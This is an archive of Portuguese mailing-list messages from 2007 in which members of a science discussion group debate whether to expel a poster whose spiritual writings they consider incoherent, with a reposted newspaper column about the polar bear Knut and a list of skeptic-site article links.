> quilo de carne de vaca, porém, como a tomada na parede
> do seu açougue é vegetariana, ela se recusa a lhe
> fornecer energia. Situação absurda, não é? Mas este
> exemplo serve para nos mostrar que a energia universal
> (amor de deus) tem uma característica fundamental:
>
> A ENERGIA UNIVERSAL É UMA FORÇA CEGA.
>
> Assim como a companhia elétrica fornece eletricidade
> independente do uso que o usuário irá fazer da
> eletricidade, assim o ser universal (deus) também
> fornece seu amor para todos os seres criarem e
> alimentarem o comportamento que bem entenderem. A
> energia universal é cega para o uso que os seres fazem
> dela. Ou seja, podemos usar a energia universal tanto
> para amar o próximo como para odiá-los. Podemos usar a
> energia universal tanto para criar espaçonaves como
> bombas atômicas. Podemos usar a energia universal
> tanto para tomar banho quente de chuveiro como para
> matar pessoas eletrocutadas.
>
> O AMOR DE DEUS SEMPRE APÓIA TODOS OS SERES EM QUALQUER
> OBJETIVO.
>
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SUBJECT: Ferrari NÃO é Einstein, Renato - Re: PEDIDO DE EXCLUSAO
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/04/2007 00:36

Olá

Renato: "Se Einstein só aprendesse o que já existia em ciências não
teria pensado as Teorias da Relatividade."

Se Einstein usasse a falta de coerência lógica, razão e sentido em
seus estudos, não teríamos nada, nem relatividade, nem Einstein, e
jamais teríamos ouvido falar nele.

O problema do Ferrari não é pensar o que ninguém pensou, é não pensar
nada de forma coerente, racional, e apenas elencar bobagens e frases
que não fazem sentido, não podem ser validadas, provadas, ou mesmo
compreendidas de forma inteligível.

O que ele escreve, não faz sentido de nenhuma forma conhecida, a não
ser para ele.

E para facilitar e pular etapas, eu mesmo escreverei as respostas
inteligentes que ele teria a essas acusações..;-)

"O que é racional?", "o que é coerente?", " o que é Renato?" etc.

Além de outras "pérolas" de sua autoria, como "deus é energia" ou
"deus é tudo e tudo é deus"..:-)

Fala sério, para ler coisas assim eu iria a páginas de texto
aleatório, mecanismos automáticos de gerar frases sem sentido (mas
mais bem escritas que as do Ferrari).

Um abraço.

Homero






--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Caro Ricardo, ter uma visão "mais livre da realidade" é não se ater
ao que
> já foi descoberto e comprovado cientificamente. Se Einstein só
aprendesse o
> que já existia em ciências não teria pensado as Teorias da Relatividade.
>
> Ferrari mostra um modo corajoso de pensar sem viseiras, sem medo de
errar ou
> de ser ridicularizado, como Darwin foi. Creio que isso é o melhor
que se
> pode fazer à juventude: instigar os jovens a pensar o mundo sem
barreiras
> estéticas-acadêmicas.
>
> O poeta Sheldon Vanauken é citado por Francis S. Collins em seu livro A
> Linguagem de Deus, lançado no Brasil recentemente pela editora
Gente*, do
> qual transcrevo o texto abaixo:
>
> "O poema descrevia com precisão o meu dilema. Suas linhas finais diziam:
> [ Entre o provável e o provado existem hiatos
>
> Uma fenda. Com medo de saltar, permanecemos ridículos.
>
> Então vemos atrás de nós o chão afundar e, pior,
>
> Nosso ponto de vista esfacelar-se. O desespero desponta
>
> Nossa única esperança: saltar para o Verbo
>
> Que abre o universo fechado. ] "
>
>
>
> Francis S. Collins é diretor do Instituto Nacional de Pesquisas sobre o
> Genoma Humano dos EUA, responsável pelas pesquisas que revelaram a
seqüência
> do DNA da nossa espécie. Ex-ateu, convertido aos 27 anos, o
cientista não
> chega a "provar" a existência de Deus, mas garante: "a Ciência não
deve se
> sentir ameaçada por Deus, mas sim reforçada. E Deus certamente não está
> ameaçado pela Ciência; foi Ele quem tornou tudo isso possível".
>
>
>
> Visão mais livre da realidade é abrir os olhos para ver o que se
passa ao
> nosso redor e ir além. Voltaire sacou o famoso "penso, logo existo"
e todo
> mundo ficou estupefato... Chega o nosso Millor Fernandes e vai além:
penso
> por que, como existo? Se alguém da lista viesse com uma idéia de uma
caixa
> fechada que tem um gato que não sabemos se está morto ou vivo... Se
> apresentasse uma descrição didática de um homem que se mantém no ar se
> suspendendo pelos cadarços de suas botas...
>
>
>
> Abraços
>
>
>
> José Renato
>
> * < http://www.editoragente.com.br/ >
>
> .............................................
>
> ----- Original Message -----
> From: "Ricardo" <ricardos@...>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Tuesday, April 03, 2007 12:09 AM
> Subject: Re: [ciencialist] PEDIDO DE EXCLUSAO
>
>
> > Olá José Renato! Os listeiros estão tentando, todo o tempo, trazer a
> > discussão para o campo da ciência (por isso a constante
interação), mas o
> > Ferrari insiste em uma visão, como em suas próprias palavras "livre da
> > realidade". Na verdade livre da ciência também. Acho que esta
discussão
> > pode
> > e deve continuar (e pode gerar muitos frutos, certamente) em algum
outro
> > lugar mais apropriado. Não tem nada a ver com ser ou não nobre,
mas sim
> > com
> > ser ou não objetivo. É para isso que são criadas listas por tema:
> > objetividade.
> >
> > []s Ricardo
> >
> >
> > ----- Original Message -----
> > From: "José Renato" <jrma@...>
> > To: <ciencialist@yahoogrupos.com.br>
> > Sent: Monday, April 02, 2007 11:46 PM
> > Subject: Re: [ciencialist] PEDIDO DE EXCLUSAO
> >
> >
> >> Olá, Luiz! O Ferrari está dialogando com os listeiros porque os
listeiros
> >> estão interagindo com ele. Se não fosse do interesse do grupo, nenhum
> >> listeiro responderia ou tentaria contra argumentar. Ele tem uma
visão
> >> mais
> >> livre da realidade, diferente das mesmices dos livros didáticos
impostos
> >> aos nossos estudantes. Não acredito que a exclusão proposta por vc vá
> >> melhorar a objetividade dos listeiros que interagem intensamente
com ele
> >> e - como não conseguem impor seus argumentos científicos - ficam
> >> reclamando que ele não diz coisa com coisa, que a lista não tem mais
> >> ciência e outras desculpas que sirvam de motivo para moderá-lo ou
> >> excluí-lo da lista. Isso não me parece ser uma atitude nobre.
> >> Nem científica.
> >> []s
> >> José Renato
> >> .............................................
> >>
> >> ----- Original Message -----
> >> From: "Luiz Ferraz Netto" <leobarretos@...>
> >> To: <ciencialist@yahoogrupos.com.br>
> >> Sent: Monday, April 02, 2007 5:56 PM
> >> Subject: [ciencialist] PEDIDO DE EXCLUSAO
> >>
> >>
> >> Senhores do C-List,
> >>
> >> com base nas papagaiadas dessa mensagem (adicionada às dezenas de
> >> anteriores) e tendo-se em vista que C-List é muito lida e
avaliada por
> >> muitos, proponho, para que não caiamos no escárnio de nossos
leitores, a
> >> exclusão do Sr. Ferrari desta lista. Se necessário, daremos
"cartas de
> >> recomendação" para outras listas que estejam dispostas a lerem suas
> >> 'profundas manifestações filosóficas'.
> >>
> >> Já tenho até receio de falar em Ciência nessa lista!
> >>
> >> No aguardo,
> >>
> >> aquele abraço,
> >> ===========================
> >> Luiz Ferraz Netto [Léo]
> >> leobarretos@...
> >> http://www.feiradeciencias.com.br/doacoes.asp
> >> ===========================
> ....................................................
>
> >> -----Mensagem Original-----
> >> De: "Ferrari" <emailferrari@...>
> >> Para: <ciencialist@yahoogrupos.com.br>
> >> Enviada em: segunda-feira, 2 de abril de 2007 14:00
> >> Assunto: [ciencialist] RE: Murilo: Como funciona o processo...?
> >>
> >>
> >> Olá Murilo Anderson!
> >>
> >> Murilo >>> Acho bom a gente ter cuidado, pq já
> >> brigamos antes e meu tempo é curto.
> >>
> >> --- Mr. Anderson, tá com pressa de chegar a onde?
> >> Hehehehe... Relaxa: qualquer lugar que vc chegar será
> >> apenas um lugar qualquer.
>
> (apaguei o restante)
>




SUBJECT: Eles são uns bobões (para Bruna, com afeto..:-)
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/04/2007 01:49

"Eles são uns bobões"
Hélio Schwartsman

Ele é branquinho, felpudinho e fofinho. Basta ver uma das inúmeras
fotografias divulgadas pelo zoológico de Berlim para apaixonar-se por
ele. Falo de Knut, o filhote de urso polar que, depois de ter sido
rejeitado pela mãe e quase morrer, foi "adotado" por funcionários do
zôo e acabou sobrevivendo. A saga de Knut cativou a Alemanha e mundo.
Bem, nem todos. O ativista de direitos dos animais Frank Albrecht
declarou ao jornal "Bild" --3,8 milhões de exemplares diários-- que o
fato de o ursinho estar sendo criado por humanos era uma aberração e
que o animal deveria ser sacrificado.

Foi um qüiproquó. Protestos surgiram imediatamente de todos os
lugares. O ursinho, que já era uma sensação em Berlim --já fora
fotografado por Annie Leibovitz--, tornou-se uma celebridade mundial.
Ele recebeu até a visita do premiê italiano Romano Prodi, que fez
questão de encaixar o bichinho na agenda de sua visita a Berlim por
ocasião do cinqüentenário do bloco europeu. São agora absolutamente
nulas as chances de Knut receber a injeção letal sugerida por
Albrecht. Na verdade, agora é o ativista quem tem recebido ameaças de
morte.

Vale a pena analisar mais de perto a epopéia do ursinho. Ela produziu
uma série de paradoxos que oferecem farto material para reflexão.

Knut nasceu de parto gemelar no dia 5 de dezembro de 2006. Ele e seu
irmão, porém, foram rejeitados pela mãe, Tosca, que "trabalhara" como
ursa amestrada num circo da antiga Alemanha Oriental. (Esses
comunistas nunca me enganaram; seu plano maligno sempre foi o de
destruir a família!). O gêmeo de nosso pequeno herói faleceu quatro
dias depois de ter vislumbrado o mundo. Knut, entre a vida e a morte,
foi metido numa incubadeira onde permaneceu por 44 dias. Tendo
superado a fase crítica, passou a ser alimentado com uma mamadeira e a
dormir com os tratadores.

Acho que foi dessa promiscuidade que Albrecht não gostou. "Criá-lo com
mãos humanas não é apropriado para a espécie, mas uma flagrante
violação das leis de proteção aos animais", disse. Segundo o ativista
essa forma de tratamento deixará o urso com distúrbios comportamentais
pelo resto de sua vida. "Na verdade, o zôo precisa matar o filhote",
concluiu. Foi o que bastou para o sensacionalista "Bild" estampar como
manchete de sua edição de 19 de março: "O doce Knut será morto com uma
injeção letal?".

Não é todo dia que se vê um defensor dos animais advogando pela
eutanásia de um filhote saudável. Tal contradição não passou
despercebida nem de criancinhas. "Eu achava que ativistas de direitos
dos animais protegiam animais e não que quisessem matá-los", disse ao
"Bild" Alexander, 4, que participava de uma manifestação pela vida de
Knut no zôo de Berlim na quinta-feira passada. "Eles são mesmo uns
bobões", acrescentou.

A proposta de Albrecht, apesar de ter recebido generalizado opróbrio,
não chega a ser o avesso de uma unanimidade. Wolfram Graf-Rudolf,
diretor do zoológico de Aachen, concorda em parte com o ativista. "Não
acho apropriado para a espécie a criação na mamadeira", disse ao
jornal. De acordo com Graf-Rudolf, o animal desenvolverá uma fixação
pelo tratador e não será um urso polar "real". O diretor, porém,
considera que já é tarde demais para sacrificar Knut.

Há quem chegue mesmo às vias de fato. No final do ano passado, Hugo,
um filhote de preguiça também rejeitado pela mãe foi morto com uma
injeção letal no zoológico de Leipzig.

Antes que me acusem de conspirar para assassinar o doce Knut, alerto
que não concordo com Albrecht. Valho-me de critérios puramente
utilitaristas. Os tratadores do zôo, os berlinenses e boa parte da
opinião pública pública ocidental --além, é claro, do próprio Knut--
parecem estar mais felizes com o ursinho vivo do que morto. Não sou
eu, portanto, quem vai se opor a tanto amor inter-espécies. Podemos ir
um pouco mais longe e admitir, como o ativista afirma, que a
"educação" que o animalzinho está recebendo render-lhe-á problemas
psiquiátricos. Qual é o mal? Quer dizer, será que futuras dificuldades
de adaptação de um indivíduo justificariam sua não-existência ou seu
"assassinato"? Não é melhor estar vivo e sofrer um pouco do que
simplesmente não existir e, portanto, jamais experimentar nem a dor
nem o prazer?

Não tenho evidentemente uma resposta para essa última pergunta, mas
acho que nossos instintos mais do que a razão nos levam a preferir
quase sempre a primeira opção. A equação só costuma inverter-se em
casos relativamente raros nos quais o sofrimento psíquico ou físico
supera qualquer possibilidade de alegria e torna o simples fato de
permanecer vivo um martírio.

(Vale aqui a pena abrir um parêntese a respeito da diferença entre
veterinários e médicos. Enquanto os primeiros raramente hesitam antes
de abreviar o sofrimento de um bicho gravemente enfermo, os segundos,
também por força da lei, raramente o fazem. Das duas uma: ou o
tratamento que dispensamos aos animais é, por assim dizer, desumano;
ou são nossos homólogos hominídeos que não vêm recebendo os cuidados
finais como deveriam. Como nunca vi alma alguma insurgir-se contra a
eutanásia de animais, fico com a segunda opção. Novo paradoxo: pelo
menos nos momentos finais, recusamos a nossos semelhantes tratamento
que nos vangloriamos de dar até a cães).

Voltando ao doce Knut, não me parece que ele enfrente ou virá a
enfrentar suplícios por conta da "adoção". Dificuldades de
relacionamento não tendem a ser um problema grave para animais que
passam a maior parte de sua vida adulta em completa solidão, como é o
caso do Ursus maritimus macho. Muito menos para exemplares de
zoológico, que já vivem em condições bastante diversas daquelas
prevalecentes em seu habitat original.

Quem é então a vítima no suposto crime que o zôo de Berlim teria
cometido ao salvar Knut? Albrecht fala da "flagrante violação às leis
de proteção aos animais" ("Tierschutzgesetz"). Graf-Rudolf, numa
colocação que evoca Heidegger, menciona o que seria uma espécie de
"ser autêntico" dos ursos polares. Pode-se inferir daí que a parte
lesada seria ninguém menos do que a mãe-natureza, aquela à qual cada
um de nós, gotinhas de vida na imensidão do universo, deve prestar
totais lealdade e obediência.

Lamento decepcionar os defensores dessa edificante cosmovisão, mas o
que chamamos de natureza não passa de uma abstração humana, sem
correspondência no mundo real. A natureza compreendida como uma ordem
que paira acima dos seres vivos atribuindo-lhes um "télos" e
submetendo-os a um conjunto de normas simplesmente não existe.

Se quisermos, vigora no mundo natural uma única regra --e tautológica:
para fazer parte da natureza é preciso estar na natureza. Ela pode ser
traduzida de forma mais econômica com um simples: o que importa é
sobreviver.

Em termos evolutivos é absolutamente irrelevante se vivemos ou não
como nossos ancestrais, se somos ou não autênticos, se "trapaceamos"
ou não recebendo auxílio de tratadores de zôo ou de ETs pendurados em
OVNIs, se fazemos ou não papel de palhaços em jardins zoológicos,
circos ou templos. Desde que consigamos chegar à maturidade sexual e
tenhamos a chance de empurrar nossos genes por mais uma geração,
estamos no jogo. E tudo o que há é o jogo para jogar. A rigor, nós
mesmos tomados como indivíduos sensientes somos meros "acidentes", não
passando de "máquinas de sobrevivência" através das quais genes se
perpetuam, como bem descreveu o biólogo Richard Dawkins em seu já
clássico "O Gene Egoísta". Se temos ou não uma consciência, se ela é
ou não uma ilusão, tanto faz, desde que obtenhamos sucesso reprodutivo.

Knut pode tornar-se um animal neurótico, quem sabe até um ursideopata
forjado em mamadeiras humanas. Isso, entretanto, será totalmente
irrelevante se ele chegar à idade adulta e lhe for oferecida uma fêmea
para procriar.

Certos discursos de defesa dos animais (não todos, mas boa parte) têm
muito mais de religião do que de ciência. Não estou, com isso dizendo
que devemos matar todo bicho que encontremos na nossa frente, mas
apenas que convém examinar criticamente os argumentos.

E não me parece que possamos erigir uma suposta "ordem natural" em
critério de verdade. Freqüentemente, tudo o que desejamos é livrar-nos
dessa ordem natural. Não me parece exagero afirmar que a cada uma das
conquistas tecnológicas da humanidade nada mais é do que uma forma de
"ludibriar" a gentil mãe-natureza, livrando-nos de um fardo por ela
imposto e tornando nossa vida em teoria mais confortável. Um exemplo:
inventamos a roda porque somos, por natureza, péssimos corredores. Deu
certo. (Daí não se segue, é claro, que carros, um desenvolvimento
posterior da roda, não possam nos trazer novas dores de cabeça, como
congestionamentos e efeito-estufa, mas essa é uma outra história).

É justamente porque a natureza nada tem de sábia que sou contra
sacrificar o doce Knut e defendo a utilização dos malvados
antibióticos, que assassinam diariamente bilhões de bactérias patogênicas.
Hélio Schwartsman, 41, é editorialista da Folha. Bacharel em
filosofia, publicou "Aquilae Titicans - O Segredo de Avicena - Uma
Aventura no Afeganistão" em 2001. Escreve para a Folha Online às quintas.




SUBJECT: P/ JC - Discordando, educadamente..:-) Re: Em defesa do paradoxo
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/04/2007 02:28

Grande Homero,

Vou dispensar os elogios iniciais e ir direto ao ponto: a lista tem um
preconceito assumido contra o Ferrari desde há muito. Se com razão ou
sem razão, pouco importa, Inês é morta e preconceito e intolerância
são ruins em qualquer contexto. Ok, é só uma opinião e, afinal, o que
é uma opinião? :)

Mas vamos aos fatos:

O Ferrari não é, nem nunca foi, o único a defender posições
indefensáveis usando tão somente subterfúgios, ora linguísticos, ora
psicodramáticos. Na verdade, não me lembro dele defendendo nem
pregando religiões na lista em nenhum outro momento (embora eu não
tenha acompanhado todas as mais de 62.000 mensagens dela na íntegra).
O José Renato é um católico fanático (Desculpa aí pelo fanático, José
Renato), por exemplo, e já li milhares de mensagens dele defendendo o
não uso da camisinha, o Design Inteligente, etc., etc., sem falar de
todos os subterfúgios linguísticos e psicodramáticos. A diferença
entre um e outro, do ponto de vista da argumentação que pede a
expulsão do Ferrari, é nula ou tende a ser pior para o José Renato,
por exemplo. Diga-se de passagem que não quero nem estou sugerindo que
o José Renato seja expulso da lista.

O Léo usa a lista como "assistente de resposta" para seus consulentes
ou só para ridicularizar alguns deles. E todos rimos e nos fartamos
até que o fel de nosso preconceito escorra farto pelos cantos de
nossas bocas. A lista também não tem essa proposta, mas nesses
momentos somos condescendentes com o princípio de que ridicularizar o
outro é um princípio básico da boa piada.

O Alberto, desde que o conheço, está aqui defendendo sua teoria
(indemonstrável) sobre a bobagem quântica e, na sua visão, a
necessidade de uma nova teoria baseada no "espírito da matéria" de
Newton. Há os pró e os contra a teoria quântica e eu nunca vi um
debate desses terminar em alguma conclusão, ou seja, ambos estão
certos, ou ambos errados, ou qualuqer coisa entre isso e o princípio
da incerteza, mas o que todos querem é só alfinetar posições opostas.

Você e eu fazemos, por vezes, alguma apologia ao ceticismo e ao
materialismo. Eu ainda tenho o agravante de lidar com questões
"educacionais" que não tem absolutamente nenhuma relação com o
propósito da lista. Vivo solicitando opiniões sobre um tal curso de
Física Básica online para alunos medíocres do Ensino Médio público.

De memória, lembro do Brudna, que não por coincidência é o dono da
lista e pouco se manifesta nela, que se mantém mais focado nos
"objetivos" da lista. E só se mantém focado enquanto e prquanto não
debate nada ou muito pouco. ;)

Nem mesmo Takata San consegue se manter focado na ciência e se vive se
metendo em discussões por vezes quase metafísicas sobre seus pontos de
vista.

Silvio Renato faz apologia anti-lula e dezenas de outros poderiam ser
citados da mesma forma. Veja que estou dando ênfase o "Staff", digamos
assim, que é para deixar bem claro que os deuses também pecam e, por
serem deuses, seus pecados são muito mais onipresentes e poucocientes.

Eu não só nada tenho conta todos os citados acima, que considero meus
amigos e os aprecio muito, como acho que suas atuações em nada
denigrem a lista ou a eles próprios, muito pelo contrário, ainda que
estejam também fora do foco da lista. E veja que estou explicitamente
nos incluindo nisso, e incluo também essas mensagens sobre isso que
estmaos trocando agora.

Mas quando você diz "Ninguém assina uma lista como esta sem ter em
mente esse desejo pessoal, conversar, de forma lógica, racional e
coerente, sobre ciência." você dá um tiro no próprio pé, pois Ferrari
assinou a lista e está aqui há muito tempo. Se ele vive viajando ou
não na maionese é outro problema, mas que nada tem a ver com o desejo
dele (que, como desejo e, por definição, pessoal e subjetivo, nunca
será verdadeiramente de nosso conhecimento - e veja que nem vou entrar
no mérito metafísico da teoria do conhecimento).

Eu penso que episódios como esse servem para nos mostrar bem mais
claramente como somos intolerantes e preconceituosos. Incapazes de
lidar com pessoas que não pensam como nós e que nem virão a pensar
assim nunca, simlesmente optamos por "exclui-los". Não vejo nenhum
argumento que possa negar esse fato, pois é fato que alguém pediu a
exclusão do Ferrari justamente por não pensar "cientificamente" e nem
demonstrar "possibilidade de ser convertido a tal".

Evidentemente que "um Ferrari incomoda muita gente", e incomoda mesmo,
mas creio que esse incômodo deva ser absorvido naturalmente pela lista
e não tratado como "pecado", sob pena de termos que rasgar nossos
diplomas e fundarmos uma igrejinha: a igrejinha da C-List, onde você
comunga com o pensamento cético-materialista e aprende os jargãos
cientificos da moda ou... Fogueira!

Eu sou educador, ganho a vida para ensinar tolerância muito mais do
que para ensinar Física. Mantenho minha opinião anterior.

Abraços,
JC




--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...> escreveu
>
> Olá Jose Carlos
>
> Em geral eu costumo concordar com você, praticamente em tudo. Mas
> nesse caso acho que farei algumas observações a sua posição..:-)
>
> Toda lista, sob pena de perder seu significado e função, tem limites.
> Nem sempre são do mesmo tipo, ou se referem as mesmas questões, mas é
> evidente que limites existem em qualquer caso. Por exemplo, quase toda
> lista impede "flood", inundações de mensagens, e spams, mensagens de
> propaganda.
>
> Mas o que define um "flood" ou spam? Uma seqüencia de mensagens sem
> sentido pode ser considerada "flood", mesmo que seu autor "pense" que
> as mesmas tem sentido? E um spam de uma religião? Difere em alguma
> medida de um spam de produto no mercado?
>
> No caso específico da Ciencia-list, penso que não é a pretensão de ser
> uma "lista de referencia", mas o desejo de ser um espaço para debater
> um assunto específico, com uma abordagem específica - ciência e
> cientificamente. Ninguém assina uma lista como esta sem ter em mente
> esse desejo pessoal, conversar, de forma lógica, racional e coerente,
> sobre ciência.
>
> Imagine, para efeito de compreensão do problema, que você assine uma
> lista sobre "Automóveis Antigos". E que durante as duas ou três
> semanas em que recebe as primeiras mensagens, estas são apenas
> discussões e bate bocas sobre a forma mais correta de cozinhar um
> leitão. Quanto tempo levaria para você abandonar a lista?
>
> Eu, como você, gosto muito desta lista, tenho aprendido um bocado, e
> mesmo nas discussões em que lados opostos se confrontam, eu apreciei e
> aprendi, pois a discussão sempre se manteve lógica, coerente e racional.
>
> O que não tem acontecido neste caso com o Ferrari (e as vezes com
> outros, por contaminação). Sim, diversos co-listeiros responderam as
> mensagens do Ferrari, tentando, como bem lembrou o Ricardo, trazer a
> conversa para o lado científico, de argumentos embasados, evidências,
> coerência argumentativa, lógica, razão, etc. Sem sucesso.
>
> Neste momento, eu receberia uma mensagem com coisas como "o que é
> sucesso?", ou "o que é argumento?", ou ainda "lógica é deus, e deus é
> lógica, mas não a lógica humana, limitada, mas uma lógica divina,
> energética, transcedental, capaz de abranger a lógica do universo,
e...".
>
> Assim, fica difícil, impossível mesmo, continuar um debate minimamente
> racional.
>
> Na verdade, as mensagens do Ferrari acabam sendo "flood" apenas, uma
> inundação de coisas sem sentido, como as frases que são geradas por
> mecanismos automáticos de frases aleatórias. Aliás, não sei se não é
> desses mecanismos que o Ferrari tira seus textos..:-)
>
> Confesso que até acho divertido discutir, de vez em quando, motos
> perpétuos, e até mesmo posições e alegações religiosas. O pessoal da
> lista sabe como me empolgo, e como costumo até ser prolixo demais, dar
> corda demais, a estes assuntos.
>
> Mas só é produtivo um debate nessas áreas, se for possível manter a
> razão no discurso. Sem isso, é aflitivo e completamente inútil. Mas,
> "o que é inútil?", e "o que é razão", afinal, não?..:-)
>
> Um grande abraço.
>
> Homero
>




SUBJECT: Re: PEDIDO DE EXCLUSAO
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/04/2007 02:43

Me esqueci de citar você dentreo staff dos "sem moral". :)))

Desculpa aí. :)

Abraços,
JC




--- Em ciencialist@yahoogrupos.com.br, Manuel Bulcão
<manuelbulcao@...> escreveu
>
> Oi Léo e lista,
>
> Não defendo a exclusão do Ferrari pelos seguintes motivos:
>
> Primeiro, porque não tenho moral. De vez em quando, meio que
> involuntariamente, envio para a lista uma mensagem
> hipersupertritroll. Tanto que, em PVT (e profundamente arrependido),
> já pedi ao proprietário da lista que os meus e-mails fossem moderados
> por um certo tempo. Não foi, Brudna?
>
> Segundo, porque há um outro meio de reduzir os estragos (se é que os
> há). A moderação. Não do próprio Ferrari, mas de quem lhe dá corda. O
> Homero, por exemplo. Dica aos moderadores: sempre que o Homero enviar
> uma daquelas respostas que começam mais ou menos assim: "sei que não
> adianta discutir com vc, mas mesmo assim...", ato contínuo o Oráculo
> fica sob moderação por dois dias.
>
> Abraços,
> Manuel Bulcão
>




SUBJECT: Re: CeticismoAberto.com atualizado 03/04/2007
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 04/04/2007 02:48

Também me esqueci da inclusão do Kentaro na lista dos "expulsáveis". :)))

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, "Kentaro Mori"
<kentaro.mori@...> escreveu
>
> *:: CeticismoAberto.com atualizado 03/04/2007**:: UFOLOGIA
> *
>
> * <http://www.ceticismoaberto.com/ufologia/gauche_encounters.htm>*Martin
> Kottmeyer
> *"Gauche Encounters": Filmes B e o mito
> OVNI<http://www.ceticismoaberto.com/ufologia/gauche_encounters.htm>
> *
> Muito do fenômeno OVNI tem o ar da licença dramática, uma mentalidade
> criativa "vale-tudo" que toma emprestado recursos que se originaram na
> ficção científica.
>
> * <http://www.ceticismoaberto.com/ufologia/caso_billy_meier.htm>*Philior
> *O caso de Billy Meier: Mais provas conclusivas de
> fraude<http://www.ceticismoaberto.com/ufologia/caso_billy_meier.htm>
> *
> Conta-se que a ex-esposa de Meier revelou que ele construiu o modelo
da nave
> extraterrestre usando a tampa de uma lata de lixo e utensílios de
cozinha.
>
> *
<http://www.ceticismoaberto.com/ufologia/primeiro_marciano.htm>*Luis Ruiz
> Noguez
> *O Primeiro
Marciano<http://www.ceticismoaberto.com/ufologia/primeiro_marciano.htm>
> *
> No fim de junho de 1950 surgiu outra notícia, qualificada por
oficiais da
> Força Aérea americana como a mais descabelada de todas aquelas sobre
discos
> voadores.
>
> * <http://www.ceticismoaberto.com/ufologia/onda_ovnibelga.htm>*Marc
Hallet
> *A tal da "Onda OVNI Belga": Uma visão
> crítica<http://www.ceticismoaberto.com/ufologia/onda_ovnibelga.htm>
> *
> Durante vários anos a SOBEPS tentou convencer o mundo acadêmico de
que havia
> adotado uma atitude científica em seu estudo de OVNIs.
> :: CIÊNCIA
>
> * <http://www.ceticismoaberto.com/ciencia/kammerer_sapo.htm>*Kentaro
Mori
> *Kammerer e o Sapo
> Parteiro<http://www.ceticismoaberto.com/ciencia/kammerer_sapo.htm>
> *
> A idéia folclórica de que o uso ou desuso de órgãos pode ser transmitido
> diretamente para as gerações seguintes acabou se tornando a primeira
> proposta científica de evolução das espécies.
>
> * <http://www.ceticismoaberto.com/ciencia/busca_sem_fim.htm>*Kentaro
Mori
> *Busca sem fim: A história, as propostas e as decepções das máquinas de
> movimento
perpétuo<http://www.ceticismoaberto.com/ciencia/busca_sem_fim.htm>
> *
> Um manuscrito de 2.500 anos possui descrições de uma roda de movimento
> perpétuo, e o próprio Leonardo da Vinci abordou o tema ao final do
século
> XV.
>
> * <http://www.ceticismoaberto.com/ciencia/motoperpetuo_hoje.htm>*Kentaro
> Mori
> *Motos perpétuos
> hoje<http://www.ceticismoaberto.com/ciencia/motoperpetuo_hoje.htm>
> *
> Tentativas modernas de alcançar o moto perpétuo procuram evitar o
rótulo e
> recorrem a fictícios princípios intrincados e secretos, sempre em
processo
> de desenvolvimento.
>
> *
<http://www.ceticismoaberto.com/ciencia/leis_termodinamica.htm>*Kentaro
> Mori
> *Defenda as leis da
>
termodinâmica<http://www.ceticismoaberto.com/ciencia/leis_termodinamica.htm>
> *
> Ajude a fiscalizar o bom cumprimento das leis da termodinâmica em nosso
> Universo. A seguir apresentaremos algumas propostas de motos perpétuos.
>
> *
<http://www.ceticismoaberto.com/ciencia/computador_quantico.htm>*Kentaro
> Mori
> *O Computador Quântico Desatador de
> Nós<http://www.ceticismoaberto.com/ciencia/computador_quantico.htm>
> *
> Capazes de realizar literalmente 'tudo ao mesmo tempo agora',
computadores
> quânticos calculariam inúmeras possibilidades e resultados de uma só
vez.
> :: CETICISMO
>
> * <http://www.ceticismoaberto.com/ufologia/camera_photoshop.htm>*Kentaro
> Mori
> *A câmera
Photoshop<http://www.ceticismoaberto.com/ufologia/camera_photoshop.htm>
> *
> Toda câmera digital possui uma espécie de Photoshop embutido, um
sistema de
> processamento de imagens. Nenhuma imagem digital está livre de
manipulações.
>
>
> *
<http://www.ceticismoaberto.com/ceticismo/doutor_invencivel.htm>*Luis Ruiz
> Noguez
> *A Navalha do Doutor
>
Invencível<http://www.ceticismoaberto.com/ceticismo/doutor_invencivel.htm>
> *
> Algo sobre o *Venerabilis Inceptor *(Venerável Bacharel) ou *Doctor
> Invincibilis *(Doutor Invencível), também conhecido como Guilherme
de Occam,
> para quem a Natureza sempre escolhe o caminho mais simples.
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: Re: [ciencialist] P/ JC - Discordando, educadamente..:-) Re: Em defesa do paradoxo
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 04/04/2007 10:33

Felizmente fiquei de fora da relação dos "expulsáveis". Ou tenho me
comportado de maneira deploravelmente correta, ou tenho participado pouco.
Aposto mais da segunda opção...

[ ]s

Alvaro Augusto


----- Original Message -----
From: "José Carlos Antonio" <profjc2003@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, April 04, 2007 2:28 AM
Subject: [ciencialist] P/ JC - Discordando, educadamente..:-) Re: Em defesa
do paradoxo


Grande Homero,

Vou dispensar os elogios iniciais e ir direto ao ponto: a lista tem um
preconceito assumido contra o Ferrari desde há muito. Se com razão ou
sem razão, pouco importa, Inês é morta e preconceito e intolerância
são ruins em qualquer contexto. Ok, é só uma opinião e, afinal, o que
é uma opinião? :)

Mas vamos aos fatos:

O Ferrari não é, nem nunca foi, o único a defender posições
indefensáveis usando tão somente subterfúgios, ora linguísticos, ora
psicodramáticos. Na verdade, não me lembro dele defendendo nem
pregando religiões na lista em nenhum outro momento (embora eu não
tenha acompanhado todas as mais de 62.000 mensagens dela na íntegra).
O José Renato é um católico fanático (Desculpa aí pelo fanático, José
Renato), por exemplo, e já li milhares de mensagens dele defendendo o
não uso da camisinha, o Design Inteligente, etc., etc., sem falar de
todos os subterfúgios linguísticos e psicodramáticos. A diferença
entre um e outro, do ponto de vista da argumentação que pede a
expulsão do Ferrari, é nula ou tende a ser pior para o José Renato,
por exemplo. Diga-se de passagem que não quero nem estou sugerindo que
o José Renato seja expulso da lista.

O Léo usa a lista como "assistente de resposta" para seus consulentes
